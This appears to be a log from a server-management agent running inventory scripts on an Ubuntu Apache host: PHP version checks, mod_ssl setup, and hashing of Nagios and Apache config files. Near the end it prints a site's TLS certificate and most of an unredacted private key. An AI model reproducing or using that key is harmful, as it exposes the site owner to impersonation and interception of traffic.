Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 227527
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      227527  0.0  0.2 325028 40176 ?        Ss   Jul09   0:11 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-07-13 10:57:55: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_html_module',
      28 => 'proxy_http_module',
      29 => 'proxy_wstunnel_module',
      30 => 'reqtimeout_module',
      31 => 'rewrite_module',
      32 => 'setenvif_module',
      33 => 'socache_shmcb_module',
      34 => 'ssl_module',
      35 => 'status_module',
      36 => 'xml2enc_module',
    ),
  ),
)


2026-07-13 10:57:55: 

PUT: /tmp/pkp490245

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-07-13 10:57:56: 

chmod 755 /tmp/pkp490245; /tmp/pkp490245; rm /tmp/pkp490245

2026-07-13 10:57:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-07-13 10:57:56: 

PUT: /tmp/pkp758615

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-07-13 10:57:56: 

chmod 755 /tmp/pkp758615; /tmp/pkp758615; rm /tmp/pkp758615

2026-07-13 10:57:57: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.32
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.32
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.23
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.23


2026-07-13 10:57:57: 

PUT: /tmp/pkp658628

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-07-13 10:57:58: 

chmod 755 /tmp/pkp658628; /tmp/pkp658628; rm /tmp/pkp658628

2026-07-13 10:57:58: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2026-07-13 10:57:58: 

PUT: /tmp/pkp692917

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-07-13 10:57:58: 

chmod 755 /tmp/pkp692917; /tmp/pkp692917; rm /tmp/pkp692917

2026-07-13 10:57:59: 


status=ok


2026-07-13 10:57:59: 

PUT: /tmp/pkp160927

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-13 10:57:59: 

chmod 755 /tmp/pkp160927; /tmp/pkp160927; rm /tmp/pkp160927

2026-07-13 10:57:59: 
2026-07-13 10:57:59: 

PUT: /tmp/pkp630414

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
    show_file('/etc/apache2/sites-available/youngrepairs_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-13 10:58:00: 

chmod 755 /tmp/pkp630414; /tmp/pkp630414; rm /tmp/pkp630414

2026-07-13 10:58:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	7404
d4:51:8a:b8:c6:24:4c:f7:f7:d3:80:47:41:76:07:81

-----BEGIN CERTIFICATE-----
MIIE8DCCA9igAwIBAgISBUbt+sco/gvCpPdzrog4aKrfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgyNTQ0WhcNMjYxMDEwMTgyNTQzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClN8FafKgi
7L8W3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTy
E4R5Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+
aba20JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3t
hWpKcK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7
LjG7zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmN
lpcDJvr5FssJAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUTimE9MKA7nzZlpSC
M7nCLUjpVmcwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvOTYuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGfV8mMQgAABAMARjBEAiBavY0/CYjcElMAnkc5F5a6LEW+
1QxYAelfuJjvCHEHrQIgQt782nPAE5o93gBn27TgsuNJ/pI7zkVziWst0duBBgIA
fwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ9XyYxPAAgAAAUA
E8IV5wQDAEgwRgIhANoe1e7v4GVpJjz6gkxEc4z7prQdil2KdU/A563FsRvNAiEA
p57V1t8Mj4YZtKTMbW99ggBECzKSc2wwPiCWw8C9C6AwDQYJKoZIhvcNAQELBQAD
ggEBALC1rUXM/QYThDWMLus3GRdWniE98Y7qJG7oFFujdlBupn2l2HuRFG1YXBKw
ENku1YHR+L4mvs29Sx6Q290WXrCYMQ/4o1ZgzX1MnH5q9QE3GjR1UpzMcQ5RRjyz
LUPRMF2eMRkwISK7VOSnjwHLYs5H+YkB1rumm/W4+gqgIaurFJvPy3zOB/A7aT+f
bDcoV9v4EWE3B9VXlFYJYuPBILPxY4QwSDMupcTcop41/1FaWeud+ThYfJvYitj/
5yP7GAAB7+rUtT9Q0NpNZB2m8JVcu0e+xMp6Z+NIxkVxZI8UTDrCxErT/bt5zPWT
FU9rAeW3fxzLLMRU2ogcQn6ysME=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClN8FafKgi7L8W
3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTyE4R5
Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+aba2
0JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3thWpK
cK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7LjG7
zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmNlpcD
Jvr5FssJAgMBAAECggEAM1cBCWpFIR0qQCNdvMmVXv4r1TSbNdhcgHU5kR1260rQ
wZlN3g/m6Rkf8odzH+fvoR2bfLUhuBuihbIm1zVi/r8u2WkOs4SxHviavfNUnaX3
VaN1w1S8KliyWW5wUrPCZu1mCG1JSBj3gxWKWLlwSa1FCs6pvxP8ix6Ns7Y5mlt3
cgrbPrcIOmX+CB3C7/LDPBZprJb5UtpT2s+1NBPdCwWx7OEXphhnDh3Em/43dVXz
2lQEa5RKqleRntsMU1p1IUKzO8PQEg6jP80IfidgOg9iMu9bTNE2lrrhFmcJMUGL
vvpQuZnmicTMamuIFENu7qMgzRo6U0BPqoh1WmCMdQKBgQDhkOJw8USu2NeAwfPm
AKU5we/ZeqGWUzeG35Qd7KPnN6oKV1mwZShQbp7kBR3OYAjFfaDqIYGSW4cvUkjE
/JJ+CfPPWjpWpmMP4QKjKbgr3wvlbAz7HTp9svcFbus3R+Bt4QJk8n+fH8HYtx36
RQvm+H/b5ZXIuDYDL/S853IhmwKBgQC7gm1frqWHgQB5yVpOz8fNnz/DINluzgLv
AXmsXBFOIHzFO1NDvwxWZNBDfi6E+0NjSdeE1dnVive9pmvcPd8i+NSKjCCmsO+4
q8mi1wEQlnWVhLSstq255XwIIYvFPoTe0ySScj4DghmIEbe6RK5l0WKHqwXAjgsy
9T+YBq7SKwKBgFFm+wEtYM8EvEjgNcfEZdxBK/C9O8FHSNuopghilQflY70Vpu1s
pC7arQa2/fmzWJcE7mRwMRWDaHbgaBiG2csYhl9HPZR1uXxKhKwjay6R8PYbl1es
